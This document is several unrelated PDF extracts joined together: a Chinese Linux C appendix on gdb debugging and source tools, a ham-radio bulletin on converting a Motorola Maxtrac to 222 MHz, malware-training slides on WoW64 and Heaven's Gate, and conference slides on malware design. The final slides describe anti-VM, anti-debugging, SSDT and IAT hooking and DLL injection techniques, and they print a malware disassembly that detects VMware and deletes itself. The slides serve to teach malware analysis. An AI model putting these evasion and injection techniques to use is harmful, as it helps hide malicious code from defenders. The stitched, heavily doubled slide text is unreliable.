8 my_print2 (my_string); 9 } 10 如果按下回车,gdb 将再执行一次 list 命令,给出下列输出: 11 my_print (char *string) 12 { 13 printf (“The string is %s\n”, string); 14 } 15 16 my_print2 (char *string) 17 { 18 char *string2; 19 int size, i; 附录 C Linux下 c 语言使用与调试简介 - 329 - 20 再按一次回车将列出 greeting 程序的剩余部分: 21 size = strlen (string); 22 string2 = (char *) malloc (size + 1); 23 for (i = 0; i < size; i++) 24 string2[size - i] = string[i]; 25 string2[size+1] = ‘\0’; 26 printf (“The string printed backward is %s\n”, string2); 27 } 根据列出的源程序,你能看到要设断点的地方在第 24 行,在 gdb 命令行提示符下键入 如下命令设置断点: (gdb) break 24 gdb 将作出如下的响应: Breakpoint 1 at 0x139: file greeting.c, line 24 (gdb) 现在再键入 run 命令,将产生如下的输出: Starting program: /root/greeting The string is hello there Breakpoint 1, my_print2 (string = 0xbfffdc4 “hello there”) at greeting.c :24 24 string2[size-i]=string[i] 你能通过设置一个观察 string2[size - i] 变量的值的观察点来看出错误是怎样产生的, 做法是键入: (gdb) watch string2[size - i] gdb 将作出如下回应: Watchpoint 2: string2[size - i] 现在可以用 next 命令来一步步的执行 for 循环了: (gdb) next 经过第一次循环后,gdb 告诉我们 string2[size - i] 的值是 ‘h‘。gdb 用如下的显示来告 诉你这个信息: Watchpoint 2, string2[size - i] Old value = 0 ‘\000’ New value = 104 ‘h’ my_print2(string = 0xbfffdc4 “hello there”) at greeting.c:23 23 for (i=0; i<size; i++) 这个值正是期望的。后来的数次循环的结果都是正确的。当 i=10 时,表达式 string2[size - i] 的值等于 ‘e‘,size - i 的值等于 1,最后一个字符已经拷到新串里了。 如果你再把循环执行下去,你会看到已经没有值分配给 string2[0] 了,而它是新串的 第一个字符,因为 malloc 函数在分配内存时把它们初始化为空(null)字符。所以 string2 的 第一个字符是空字符。这解释了为什么在打印 string2 时没有任何输出了。 现在找出了问题出在哪里,修正这个错误是很容易的。你得把代码里写入 string2 的第 一个字符的的偏移量改为 size-1 而不是 size。这是因为 string2 的大小为 12,但起始偏移量 是 0,串内的字符从偏移量 0 到 偏移量 10,偏移量 11 为空字符保留。 为了使代码正常工作有很多种修改办法。一种是另设一个比串的实际大小小 1 的变量。 这是这种解决办法的代码: - 330 - Linux网络编程 #include <stdio.h> main () { char my_string[] = “hello there”; my_print (my_string); my_print2 (my_string); } my_print (char *string) { printf (“The string is %s\n”, string); } my_print2 (char *string) { char *string2; int size, size2, i; size = strlen (string); size2 = size -1; string2 = (char *) malloc (size + 1); for (i = 0; i < size; i++) string2[size2 - i] = string[i]; string2[size] = ‘\0’; printf (“The string printed backward is %s\n”, string2); } C.4 另外的 C 编程工具 Slackware Linux 的发行版中还包括一些我们尚未提到的 C 开发工具。本节将介绍这些 工具和它们的典型用法。 C.4.1 Xxgdb xxgdb 是 gdb 的一个基于 X Window 系统的图形界面。xxgdb 包括了命令行版的 gdb 上 的所有特性。xxgdb 使你能通过按按钮来执行常用的命令。设置了断点的地方也用图形来 显示。 你能在一个 Xterm 窗口里键入下面的命令来运行它: xxgdb 你能用 gdb 里任何有效的命令行选项来初始化 xxgdb。此外 xxgdb 也有一些特有的命 令行选项,表 C-2 列出了这些选项。 表 C-2 xxgdb 的命令行选项 db_name 指定所用调试器的名字,缺省是 gdb。 db_prompt 指定调试器提示符,缺省为 gdb。 Gdbinit 指定初始化 gdb 的命令文件的文件名,缺省为 .gdbinit。 附录 C Linux下 c 语言使用与调试简介 - 331 - Nx 告诉 xxgdb 不执行 .gdbinit 文件。 Bigicon 使用大图标。 C.4.2 Calls 你可以在 sunsite.unc.edu FTP 站点用下面的路径: /pub/Linux/devel/lang/c/calls.tar.Z 来取得 calls,一些旧版本的 Linux CD-ROM 发行版里也附带有。因为它是一个有用的 工具,我们在这里也介绍一下。如果你觉得有用的话,从 BBS,FTP,或另一张 CD-ROM 上弄一个拷贝。calls 调用 GCC 的预处理器来处理给出的源程序文件,然后输出这些文件 的里的函数调用树图。 注意,在你的系统上安装 calls,以超级用户身份登录后执行下面的步骤: 1.解压和 untar 文件。 2.cd 进入 calls untar 后建立的子目录。 3.把名叫 calls 的文件移动到 /usr/bin 目录。 4.把名叫 calls.1 的文件移动到目录 /usr/man/man1。 5.删除 /tmp/calls 目录。 这些步骤将把 calls 程序和它的指南页安装载你的系统上。 当 calls 打印出调用跟踪结果时,它在函数后面用中括号给出了函数所在文件的文件 名: main [test.c] 如果函数并不是向 calls 给出的文件里的,calls 不知道所调用的函数来自哪里,则只显 示函数的名字: printf calls 不对递归和静态函数输出。递归函数显示成下面的样子: fact <<< recursive in factorial.c >>> 静态函数象这样显示: total [static in calculate.c] 作为一个例子,假设用 calls 处理下面的程序: #include <stdio.h> main () { char my_string[] = “hello there”; my_print (my_string); my_print2(my_string); } my_print (char *string) { printf (“The string is %s\n”, string); } my_print2 (char *string) { char *string2; - 332 - Linux网络编程 int size, size2, i; size = strlen (string); size2 = size -1; string2 = (char *) malloc (size + 1); for (i = 0; i < size; i++) { string2[size2 - i] = string[i]; } string2[size] = ‘\0’; printf (“The string printed backward is %s\n”, string2); } 将产生如下的输出: 1 main [test.c] 2 my_print [test.c] 3 printf 4 my_print2 [test.c] 5 strlen 6 malloc 7 printf calls 有很多命令行选项来设置不同的输出格式,有关这些选项的更多信息请参考 calls 的指南页。方法是在命令行上键入 calls -h。 C.4.3 cproto cproto 读入 C 源程序文件并自动为每个函数产生原型申明。用 cproto 可以在写程序时 为你节省大量用来定义函数原型的时间。 如果你让 cproto 处理下面的代码: #include <stdio.h> main () { char my_string[] = “hello there”; my_print (my_string); my_print2(my_string); } my_print (char *string) { printf (“The string is %s\n”, *string); } my_print2 (char *string) { char *string2; int size, size2, i; 附录 C Linux下 c 语言使用与调试简介 - 333 - size = strlen (string); size2 = size -1; string2 = (char *) malloc (size + 1); for (i = 0; i < size; i++) { string2[size2 - i] = string[i]; } string2[size] = ‘\0’; printf (“The string printed backward is %s\n”, string2); } 你将得到下面的输出: /* test.c */ int main(void); int my_print(char *string); int my_print2(char *string); 这个输出可以重定向到一个定义函数原型的包含文件里。 C.4.4 Indent indent 实用程序是 Linux 里包含的另一个编程实用工具。这个工具简单的说就为你的 代码产生美观的缩进的格式。indent 也有很多选项来指定如何格式化你的源代码。这些选 项的更多信息请看 indent 的指南页,在命令行上键入 indent -h。 下面的例子是 indent 的缺省输出: 运行 indent 以前的 C 代码: #include <stdio.h> main () { char my_string[] = “hello there”; my_print (my_string); my_print2(my_string); } my_print (char *string) { printf (“The string is %s\n”, *string); } my_print2 (char *string) { char *string2; int size, size2, i; size = strlen (string); size2 = size -1; string2 = (char *) malloc (size + 1); for (i = 0; i < size; i++) - 334 - Linux网络编程 string2[size2 - i] = string[i]; string2[size] = ‘\0’; printf (“The string printed backward is %s\n”, string2); } 运行 indent 后的 C 代码: #include <stdio.h> main () { char my_string[] = “hello there”; my_print (my_string); my_print2 (my_string); } my_print (char *string) { printf (“The string is %s\n”, *string); } my_print2 (char *string) { char *string2; int size, size2, i; size = strlen (string); size2 = size -1; string2 = (char *) malloc (size + 1); for (i = 0; i < size; i++) { string2[size2 - i] = string[i]; } string2[size] = ‘\0’; printf (“The string printed backward is %s\n”, string2); } indent 并不改变代码的实质内容,而只是改变代码的外观。使它变得更可读,这永远 是一件好事。 C.4.5 Gprof gprof 是安装在你的 Linux 系统的 /usr/bin 目录下的一个程序。它使你能剖析你的程序 从而知道程序的哪一个部分在执行时最费时间。 gprof 将告诉你程序里每个函数被调用的次数和每个函数执行时所占时间的百分比。你 附录 C Linux下 c 语言使用与调试简介 - 335 - 如果想提高你的程序性能的话这些信息非常有用。 为了在你的程序上使用 gprof,你必须在编译程序时加上 -pg 选项。这将使程序在每次 执行时产生一个叫 gmon.out 的文件。gprof 用这个文件产生剖析信息。 在你运行了你的程序并产生了 gmon.out 文件后你能用下面的命令获得剖析信息: gprof <program_name> 参数 program_name 是产生 gmon.out 文件的程序的名字。 技巧:gprof 产生的剖析数据很大, 如果你想检查这些数据的话最好把输出重定向到一个文件里。 C.4.6 f2c 和 p2c f2c 和 p2c 是两个源代码转换程序。f2c 把 FORTRAN 代码转换为 C 代码,p2c 把 Pascal 代码转换为 C 代码。当你安装 GCC 时这两个程序都会被安装上去。 如果你有一些用 FORTRAN 或 Pascal 写的代码要用 C 重写的话,f2c 和 p2c 对你非常 有用。这两个程序产生的 C 代码一般不用修改就直接能被 GCC 编译。 如果要转换的 FORTRAN 或 Pascal 程序比较小的话可以直接使用 f2c 或 p2c 不用加任 何选项。如果要转换的程序比较庞大,包含很多文件的话你可能要用到一些命令行选项。 注意:f 2c 要求被转换的程序的扩展名为. f 或. F。 在一个 FORTRAN 程序上使用 f2c,输入下面的命令: f2c my_fortranprog.f 要把一个 Pascal 程序装换为 C 程序,输入下面的命令: p2c my_pascalprogram.pas 这两个程序产生的 C 源代码的文件名都和原来的文件名相同,但扩展名由 .f 或 .pas 变为 .c.
pdf
Technical Service Bulletin: FXR-13 Modifying Motorola Maxtrac VHF 136 – 174 MHz for Amateur Radio Applications in the 222 – 225 MHz Band A FluX Research project in several phases Release Date: 07-01-2010 Last Update: v1.0 07-01-2010 By: Matt Krick, K3MK matt@kgmn.net Radio Model #: Motorola Maxtrac 100 Motorola Maxtrac 300 Warning: Please be aware that this document is currently a work in progress which may contain several omissions and or typographical errors, continue reading at your own risk. Background: This document expands on the original work done by Glenn Hochwalt, Jr., W8AK to convert the VHF Maxtrac into the 222 MHz band. Special thanks to Jeff Ackerman, KG6UYZ for providing the radios for experimentation. Phase 0: Preparations Make sure the radio to be converted is in good working order on its original frequencies before attempting conversion to 222 MHz Amateur Radio use. Phase 1: Operating Frequency Reprogramming I recommend Maxtrac Lab RSS R07.02.00A be used. Earlier versions were found to work fine with some versions of the Maxtrac, but would not read others. Programming the radio is as normal how ever when entering the frequency it is necessary to enter the numbers with the shift key held down and all digit places must be entered. Example: 223.5 MHZ is entered as @@#.%)))) Phase 2: VCO Remove the RF board from the chassis of the radio using a Torx T-10 driver. It will be necessary to use a high heat broad tip such as a Weller 800 degree PTC to remove the coils and their housings from the board. This is best accomplished by melting the solder joints and slowly rocking the entire coil out of the board. Hole clean up is best done with the aid of a stainless steel dental pick, solder wick and solder sucker. Remove L213, TX VCO Adjustable Coil (Yellow), and set it aside. Remove L202, RX VCO Adjustable Coil (Orange), and install in L213 position. Remove L215, TX VCO Fixed Coil (Yellow), and set it aside. Remove L204, RX VCO Fixed Coil (Orange) and install in L215 position. Remove approximately 3 turns from the top of original L215 (Yellow), so that it has 2 ½ turns total. Cut the plastic with small flush cut diagonal pillars to release the wire. Bring the remaining lead down the side of the coil and trim to the same length as the opposite lead. Strip the enamel off of the new lead and tin with solder. Install modified L215 in L204 position. Modify original L213. Extract plastic housing from metal shield. Disengage metal tabs by sliding a X-acto knife or small jewelers screw driver in between metal and plastic on underside of coil. Push coil out of shield by pressing center hole against a step drill bit. On the side of the coil with the most wires apply solder and short the top 3 turns together, be careful not to melt the plastic too much. Apply solder to the top 2 turns on all the other sides. Take care that the solder does not extend from the plastic too much so it will not short against the shield, if necessary reheat or file the solder down. Replace shield and install modified L213 at L202 position. Remove L221 from board. Remove 3 turns from the top and bring the remaining lead down the side of the coil and trim to the same length as the opposite lead. Strip the enamel off of the new lead and tin with solder. Replace L221 in its original position. Modified VCO section Replace RF board into radio for testing purposes. If desired a PLL unlock LED may be added to the board, take a red LED and solder a 330 ohm resistor on the anode. Slide the lead of the resistor into J6, Pin 5 and the cathode of the LED into J6, pin 11. Test RX VCO by coupling signal in to a spectrum analyzer or frequency counter. Use a loop of wire or an antenna connected to the input of the test equipment. Connect a volt meter to “SV” test point. Tune the coil at the L202 position (Yellow) with a non metallic tool until stable on frequency LO is observed (RX frequency + 45.1 MHz). A stable voltage on “SV” should be approximately 7.8V. Some additional tuning range can be achieved by bending the coil at L215 on its side. Take a 47 ohm resistor and bend one lead so both leads are on one end. Trim leads so center the center one comes out approx 3/16” and the side one is flush with the end of the body. Insert modified resistor into the TX VCO jack on the RF board. PTT the radio and tune TX VCO by coupling signal in to a spectrum analyzer or frequency counter. Use a loop of wire or an antenna connected to the input of the test equipment. Connect a volt meter to “SV” test point. Tune the coil at the L213 position (Orange) with a non metallic tool until stable on frequency signal is observed. A stable voltage on “SV” should be approximately 7.8V. Remove resistor from connector when testing is completed. Phase 3: Low Pass Filter The original Low Pass Filter is designed for a corner frequency of Approximately 205 MHz. Bend a turn off the end of each of the LPF coils (L2x62, L2x61, L2x60 and L2x51) and lay the turn approximately 45 degrees away from the rest of the coil. L2x62 should be nearly flat with the printed circuit board. This will bring the 3dB corner up to approximately 235 MHz. Modified Low Pass Filter (45W VHF Power Amplifier) The filter can be optimally tuned by connecting a spectrum analyzer to the PA, sweeping into the antenna port and detecting the on the RX cable. A test jig was made by plugging the RX lead into a BNC barrel and soldering a spot of the ground ring to the BNC connector. Low Pass Filter before modification Low Pass Filter after modification Phase 4: Receiver Remove RF board from chassis again. One coil at a time, Modify coils L1 - L7. Remove the coil and shielding using the procedure described earlier. On the side with the most wires visible, apply solder shorting out the top two turns. Reinstall modified coil in board without the shield for initial testing and proceed to modifying next coil. Reinstall RF board in chassis. Using a on service monitor check receiver sensitivity. Additional turns of coils may be shorted for optimum performance. My receiver came to -110dB for 12dB SINAD without any additional tuning. If satisfactory reinstall metal shields on coils. Phase 5a: 2W VHF Power Amplifier The 2W VHF PA should make the rated 2 watts of power at 222 MHz without any modifications. Some additional tweaking of L2362, L2361 and L2360 may be done until maximum power output is achieved as observed on a watt meter. Phase 5b: 25W VHF Power Amplifier See Phase 5c. Phase 5c: 45W VHF Power Amplifier Remove the PA board from the heat sink. Desolder the power connector by unscrewing it from the heat sink, heat both pins and slowly rock it out of the board. Remove all Torx screws and the nut on the rear holding Q2430. Desolder the antenna jack and pull the board from the housing. The 45W VHF PA would not cooperate on 222 MHz. It is believed the final transistor is not designed for operation above 175 MHz. It was determined the best course of action is to cut a section of the printed circuit board and install a power brick. Module Part Number Power Input Power Output M57774 300mW 30W (Class C) M67712 200mW 30W (Class AB) M68729 300mW 30W (Class C) RA30H2127M * 50mW 30W (MOSFET) SAV15 200mW 30W (Class C) SAV40 50mW 30W (MOSFET) Depending on the power module you have available will determine how much of the PA board is cut away. I used the M67712 which is easily obtainable from old 220-222 MHz ACSSB and Linear Modulation Radios. Because this module needs 200mW (+23dBm) of drive we need the first amplifier stage of the PA. Remove Q2450, L2421 and cut the board like this: A Dremel tool with heavy duty cut off wheels is the recommended armament. Removed portion of VHF 45W Amplifier Salvage 3 Ferrite beads from the cut board and surrounding areas and solder them to the DC input leads of the power module. 1st VCC voltage is obtained from the Controlled B+ line, 2nd VCC is at the C2444, R2471 junction and Vbias is from 9.6T through a single 1N4004 diode to drop the voltage to 9V. When using a 50mW input power amplifier such as the RA30H2127M the first stage is not required and may be eliminated. So cut the board like this: Salvage 2 Ferrite beads from the cut board and solder them to the DC input leads of the power module. VCC voltage is obtained from the C2444, R2471 junction, and Vgate is from 9.6T through a 100 ohm resistor into a 1N4733 5.1V zener diode to ground diode to drop the voltage on Vgate to 5V. A 7805 may also be used instead. Some traces were cut through so those will need to be patched with wires. Patch the Current Sense Lo line between C2444, R2471 junction and C2402, and patch 9.6T for the PIN diodes between R2450 and R2452. The heat sink must be machined flat to accommodate the new power module. I suggest going to a machine shop for this. I used a Dremel tool with a high speed cutting bit to flatten the mounting stud for Q2430. * Note: If using the RA30H2127M, the power module should be machined flat as the surface will not conduct heat well enough, nor does it have good contact with ground. Drill 2 holes and tap for 6-32 screws for securing of the module to the heat sink. I installed the M67712 with the leads facing the side wall of the heat sink to accommodate shorter coax and power leads; you may desire to orient your module the other way. Remove C2450 and install a short run of RG-174 mini coax to the RF output of the power module. Install a spade lug on the module end of the coax ground to attach to the screw holding the module in place. Remove L2420 and Install a mini coax from the power input of the module to the C2421 and C2420 junction. If using RA30H2127M salvage the original RF input coax from the cut piece of board and install it on the power input of the module. Install a spade lug on the module end of the coax ground to attach to the screw holding the module in place. Apply a fresh coating of thermal compound to the heat sink and screw the module in place as well as the PA board. A ground wire is soldered over the power module to connect bypass capacitors to. This should probably be made from coax braid to improve ground impedance, but I used a 24ga wire as it was handy. For capacitors I used 0.1uF on both Vbias and 1st VCC, and a 10uF 25V on 2nd VCC. Some additional tweaking of L2462, L2461 and L2460 may be done until maximum power output is achieved as observed on a watt meter. Phase 5d: 2W VHF Power Amplifier to 30W Modification. Cut the board and modify the amplifier in similar fashion to Phase 5c. Replace R2371 with a 0.01 Ohm 2W resistor. The junction or R2371 and C2378 will provide either VCC or 2nd VCC depending on the power module chosen. Photographs by: Matt Krick, K3MK Legal notice – Material in this technical service bulletin is Copyright 2010 Matt Krick, K3MK, and Glenn Hochwalt, Jr. W8AK. All Rights Reserved. The author takes no responsibility for any damage during the modification or for any wrong information made on this modification. Your results may vary. Commercial use of this bulletin is not authorized without express written permission of the author. Furthermore, this work is specifically prohibited from being posted to www.mods.dk or any other ‘limited free site’. Please ask for permission before posting elsewhere.
pdf
Module 1 A journey from high level languages, through assembly, to the running process https://github.com/hasherezade/malware_training_vol1 Wow64: 32 bit PE on 64 bit Windows WoW64: basics • Backward compatibility: running 32 bit applications on 64 bit Windows • 32 bit application must be isolated from the 64 bit evironment • WoW64 is a special subsystem that provides the 32 bit environment on Windows 64 bit WoW64: basics • SysWow64 contains 32 bit equivalents of the DLLs that can be found in System32: WoW64: basics • But Ntoskrnl.exe has only one version – native (64 bit on 64 bit system) WoW64: basics • The following 64 bit DLLs are loaded in every 32 bit process runing on Wow64: • WoW64Cpu.dll – an emulator to run 32 bit code on 64 bit processor • Wow64.dll – core emulation infrastructure, thunks to Ntoskrnl.exe entry-point functions • Wow64Win.dll – thunks to Win32k.sys entry-point functions • Ntdll.dll (64bit version) WoW64: basics • Each 32 bit process runing on Wow64 has 2 versions of NTDLL • 32-bit (from SysWow64) and 64 bit (from System32) NTDLL.DLL (32 bit version) NTDLL.DLL (64 bit version) WoW64: basics MyApp.exe (32-bit) Kernel32.dll (32-bit) Ntdll.dll (32-bit) Ntdll.dll (64bit) Wow64Cpu,dll (64-bit) Wow64Win,dll (64-bit) MyApp.exe (64-bit) Kernel32.dll (64-bit) NtosKrnl (kernel) Syscalls Pass through emulation 32 bit TEB 32 bit PEB 64 bit TEB 64 bit PEB 64 bit TEB 64 bit PEB Wow64,dll (64-bit) Win32k.sys WoW64: basics • Try scanning a demo_1.exe with PE-sieve: 64 bit version, and then 32 bit version • Observe that: • The 32 bit version can access only the 32 bit modules • The 64 bit version can access both 32 and 64 bit modules WoW64 • Wow64 can be compared to a Sandbox 32 bit process 64 bit wrapper process 64 bit process WoW64 • How to break this isolation? 32 bit process 64 bit wrapper process 64 bit process ? ? How is the isolation made? • The 32 bit and 64 bit code execution is accessible via different address of the code segment • 32 bit: 0x23 • 64 bit: 0x33 • How to chage the segment? • Typical return ( RET ): uses address and implicit (default) segment • Far return ( RETF ): uses address and explicit segment Heaven’s Gate • A technique described first by Roy G Biv Heaven’s Gate • Changing segment allows to use 64 bit registers and use the 64 bit code • Still, we need more work: • Get the handle to the 64 bit version of NTDLL • How? Using the 64 bit PEB! • Load other 64 bit DLLs with its help, in order to be able to use the 64 bit API Heaven’s Gate in action • Implemented by Rewolf’s Wow64Ext library • https://github.com/rwfpl/rewolf-wow64ext/ • Let’s have a look at the real-life example: a miner with a Heaven’s Gate • https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/ Further readings... • WOW64 Subsystem Internals and Hooking Techniques – by Stephen Eckels from FireEye: • https://www.fireeye.com/blog/threat-research/2020/11/wow64-subsystem-internals-and- hooking-techniques.html
pdf
11 Dark.Net Dark.Net gasgas gasgas 22 簡介 簡介 Malware Malware Dot Net Framework Dot Net Framework .net .net rootkit rootkit Anti tech Anti tech Q & A Q & A 33 Malware Malware 44 Malware Malware Virus Virus Backdoor Backdoor Trojan horse Trojan horse Rootkit Rootkit Scareware Scareware Adware Adware Worm Worm 55 Infect Infect Executable Executable Interpreted file Interpreted file Kernel Kernel Service Service MBR MBR Hypervisor Hypervisor 66 Hypervisor rootkit Hypervisor rootkit Target OS Target OS Hardware Hardware App App App App 77 Hypervisor rootkit Hypervisor rootkit Target OS Target OS Hardware Hardware App App App App Virtual machine monitor Virtual machine monitor Host OS Host OS Rogue app Rogue app 88 Malware Malware design & tech design & tech Metamorphism Metamorphism Obfuscations Obfuscations Anti Anti--emulation emulation Anti Anti--Virtual Machine Virtual Machine Anti Anti--debuggers debuggers Rootkit Rootkit Technology Technology 99 Metamorphism Metamorphism mov [ebp - 3], eax push ecx mov ecx,ebp add ecx,33 push esi mov esi,ecx sub esi,34 mov [esi-2],eax pop esi pop ecx push ecx mov ecx, ebp push eax mov eax, 33 add ecx, eax pop eax push esi mov esi, ecx push edx mov edx, 34 sub esi, edx pop edx mov [esi - 2], eax pop esi pop ecx push ecx mov ecx, [ebp + 10] mov ecx, ebp push eax add eax, 2342 mov eax, 33 add ecx, eax pop eax mov eax, esi push eax mov esi, ecx push edx xor edx, 778f mov edx, 34 sub esi, edx pop edx mov [esi-2], eax pop esi pop ecx push ecx mov ecx,ebp add ecx,33 mov [ecx-36],eax pop ecx 10 10 Obfsucations Obfsucations Call Obfsucations to prevent static analysis NORMAL CALL L0: call L5 L1: … L2: … L3: … L4: … L5: <proc> L6: … OBFUSCATED CALL L0a: push L1 L0b: push L5 L0c: ret L1: … L2: … L3: … L4: … L5: <proc> L6: … 11 11 Anti Anti--emulation emulation vs vs anti anti--debug debug Anti Anti--debug debug •• Hide the fact that someone with a debugger is Hide the fact that someone with a debugger is stepping/monitoring your program stepping/monitoring your program •• Focus in differences in system when a Focus in differences in system when a debugger is active debugger is active vs vs not not Memory structures Memory structures Time usage (ticks) Time usage (ticks) API API behaviour behaviour Suspicious windows/drivers/services, e.g. debug Suspicious windows/drivers/services, e.g. debug rights without asking rights without asking… … 12 12 Anti Anti--emulation emulation vs vs Anti Anti--debug debug Anti Anti--emulation emulation •• There is no debugger to hide There is no debugger to hide •• Detect the difference between an emulated Detect the difference between an emulated system and a real system system and a real system Access complex resources, use complex Access complex resources, use complex calculations calculations Detect limitations which are not possible (or Detect limitations which are not possible (or very time consuming) to emulate very time consuming) to emulate Use (or setup) exotic APIs so they deliver a Use (or setup) exotic APIs so they deliver a specific error condition specific error condition •• Can this be used against it? Can this be used against it? What is virtual machine detection? What is virtual machine detection? 13 13 Challenge For Emulators Challenge For Emulators Code that Code that ““does the bad stuff does the bad stuff”” is hidden in many ways is hidden in many ways •• Runtime libraries Runtime libraries •• Compressors Compressors UPX, FSG, PEC UPX, FSG, PEC… … •• Encryptors Encryptors Simple or advanced runtime encryption Simple or advanced runtime encryption •• Protectors Protectors SVKP, SVKP, Themida Themida… … •• Installers Installers Nullsoft Nullsoft, RARSFX, ZIPSFX etc , RARSFX, ZIPSFX etc •• Embedded dropped components Embedded dropped components Libraries/services, kernel drivers, scripts, executables etc. Libraries/services, kernel drivers, scripts, executables etc. What to do with a single component; DLL or driver? What to do with a single component; DLL or driver? •• Download links Download links Download Download malware malware components in proprietary formats & protocols components in proprietary formats & protocols •• Bad records inside file formats (like XLS, JPG etc) Bad records inside file formats (like XLS, JPG etc) Exploits to run binary code Exploits to run binary code 14 14 Anti Emulator Code Anti Emulator Code CreateFileA CreateFileA (e.g. (e.g. "C: "C:\\WINDOWS WINDOWS\\SYSTEM32 SYSTEM32\\drivers drivers\\ntfs.sys) ntfs.sys) GetFileSize GetFileSize (0x0000002A,0x00000000) (0x0000002A,0x00000000) WriteProcessMemory WriteProcessMemory (0xFFFFFFFF,0x0043661D,STACK_ADDR,0 (0xFFFFFFFF,0x0043661D,STACK_ADDR,0 x00000004,0x00000000) x00000004,0x00000000) EnumWindowStationsA EnumWindowStationsA() () --> callback > callback EnumServicesStatusA EnumServicesStatusA() () --> looking for > looking for standard services standard services 15 15 Anti Anti--Virtual Machines Virtual Machines Pseudo code: Pseudo code: IF IF detect_vmware detect_vmware THEN do nothing, destroy self, destroy system THEN do nothing, destroy self, destroy system ELSE ELSE Continue with Continue with malware malware payload payload DASHER Variant Disassembly Example: DASHER Variant Disassembly Example: PS______:00401D51 push offset PS______:00401D51 push offset aaNetStartFindst NetStartFindst ; " ; "net net start | start | findstr findstr VMware VMware && echo && echo VMwa VMwa"... "... PS______:00401D52 push PS______:00401D52 push edi edi PS______:00401D53 call sub_402148 PS______:00401D53 call sub_402148 PS______:00401D58 lea PS______:00401D58 lea eax eax, [ebp+var_300] , [ebp+var_300] PS______:00401D5E push PS______:00401D5E push eax eax PS______:00401D5F push offset a PS______:00401D5F push offset aNetStartFind NetStartFind_0 ; " _0 ; "net net start | start | findstr findstr Virtual &&echo Virtual &&echo Vir Vir"... "... PS______:00401D64 push PS______:00401D64 push edi edi PS______:00401D65 call sub_402148 PS______:00401D65 call sub_402148 PS______:00401D6A push offset aDel0 ; " PS______:00401D6A push offset aDel0 ; "del del %%0 %%0\\rr\\nn““ 16 16 Anti Anti--debuggers debuggers Making reverse Making reverse--engineering and engineering and disassembly painful disassembly painful •• Polymorphism Polymorphism •• Encryption Encryption •• Interrupt disabling Interrupt disabling •• Debugger detection Debugger detection Behavior modification Behavior modification Crashing debugger Crashing debugger 17 17 Forms of Forms of Rootkit Rootkit KERNEL KERNEL--LEVEL LEVEL SYSTEM ACCESS SYSTEM ACCESS APPLICATION APPLICATION--LEVEL LEVEL 18 18 System Service Call Cycle System Service Call Cycle User Application call to CreateFile API Kernel32.DLL call stub NtCreateFile API NTDLL.DLL EAX = 0x00000020 call INT 2Eh USER MODE KERNEL MODE NTOSKRNL.EXE Switch Back to USER MODE return NtCreateFile result return CreateFile result 19 19 NTDLL Interface NTDLL Interface Kernel32.DLL imports solely on the library Kernel32.DLL imports solely on the library NTDLL.DLL NTDLL.DLL NTDLL.DLL is an interface to NTDLL.DLL is an interface to Int Int 2Eh function of 2Eh function of Windows NT Windows NT Int Int 2Eh signals a need to switch from user mode 2Eh signals a need to switch from user mode to kernel mode to kernel mode Int Int 2Eh is internally known as 2Eh is internally known as KiSystemService KiSystemService(). (). Int Int 2Eh handler looks up on a table in NTOSKRNL 2Eh handler looks up on a table in NTOSKRNL called called KeServiceDescriptorTable KeServiceDescriptorTable() () 20 20 NTOSKRNL Exports NTOSKRNL Exports The structure of KeServiceDescriptorTable: typedef struct ServiceDescriptorTable { PVOID ServiceTableBase; PVOIDServiceCounterTable(0); unsigned int NumberOfServices; PVOID ParamTableBase; } 21 21 Getting Into The Root Getting Into The Root Application: Call to CreateFile() API Kernel32.DLL: Call to NtCreateFile() -- Native API NTDLL.DLL NTOSKRNL.EXE: Call to KeServiceDescriptor Table Invokes KiSystemService() 22 22 KeServiceDescriptor KeServiceDescriptor Table Table ServiceTableBase ParamTableBase … … @ NtCreateFile 0x2C bytes … … @NtCreateProcess 0x20 bytes … @ NtOpenProcess 0x10 bytes … … … 0x20 0x29 0x6A 23 23 Hooking System Service Hooking System Service Choose a system service exported by Choose a system service exported by NTOSKRNL.EXE NTOSKRNL.EXE Obtain the address of this function Obtain the address of this function Verify if the function starts with a Verify if the function starts with a MOV EAX, 0xXXXXXXXX construct. MOV EAX, 0xXXXXXXXX construct. Retrieve the index value associated Retrieve the index value associated with the function. with the function. 24 24 Hooking System Service Hooking System Service Example of NTDLL Exported Functions 25 25 Hooking System Service Hooking System Service Import the undocumented structure Import the undocumented structure KeServiceDescriptorTable KeServiceDescriptorTable.. Locate the function index Locate the function index Overwrite the corresponding Overwrite the corresponding ServiceTableBase ServiceTableBase value with the new value with the new system service handler system service handler 26 26 API Hooking: IAT Modification API Hooking: IAT Modification Headers Code Section CALL [CreateFileA] CreateFileA(): … Import Section CreateFileA: 0x12345678 Kernel32.dll PE File Before IAT Patching 27 27 API Hooking: IAT Modification API Hooking: IAT Modification Headers Code Section CALL [CreateFileA] CreateFileA(): … Import Section CreateFileA: Addr of Hook Kernel32.dll PE File Before IAT Patching Hook: JMP 0x12345678 28 28 API Hooking: Dynamic Code Patching API Hooking: Dynamic Code Patching FindNextFileA: 195D6: 55 PUSH EBP 195D7: 8BEC MOV EBP, ESP 195D9: 81EC60020000 SUB ESP, 260 Continue_Here: 194DF: 53 PUSH EBX 195E0: 8D85A0FDFFFF LEA EAX, [EBP-260] 195DF: XX <…original code continues…> Original FindNextFile() API Function 29 29 API Hooking: Dynamic Code Patching API Hooking: Dynamic Code Patching FindNextFileA: 195D6: E9XXXXXXXX JMP Hook 195DB: 90 NOP 195DC: 90 NOP 195DD: 90 NOP 195DE: 90 NOP Continue_Here: 194DF: 53 PUSH EBX 195E0: 8D85A0FDFFFF LEA EAX, [EBP-260] 195DF: XX <…original code continues…> Hook: <process params> call Saved_Original <alter data> ret Patched FindNextFile() API Function 30 30 DLL Injection DLL Injection Malware Process Call to CreateRemoteThread() Victim Process Call to LoadLibrary() Malicious DLL Using CreateRemoteThread(), a call to LoadLibrary() API of can cause a malicious DLL to be loaded on the remote process’ address space. 31 31 Direct Memory Writing Direct Memory Writing HEADERS Code Section VirtualAllocEx() VirtualProtectEx() WriteProcessMemory() CreateRemoteThread() HEADERS Code Section Heap Install_Hooks(); Attacking Process Victim Process Patching Another Process 32 32 Dot Net Dot Net FrameWork FrameWork 33 33 What is Microsoft .NET? What is .NET? What is .NET? •• New Microsoft Framework for the New Microsoft Framework for the Internet Development Environment. Internet Development Environment. •• It is a protocol stack and computing It is a protocol stack and computing model for TCPI/IP model for TCPI/IP--based, distributed based, distributed computing. computing. •• The .NET Enterprise servers are built for The .NET Enterprise servers are built for interoperability from the ground up, interoperability from the ground up, using open Web standards such as XML using open Web standards such as XML with increased 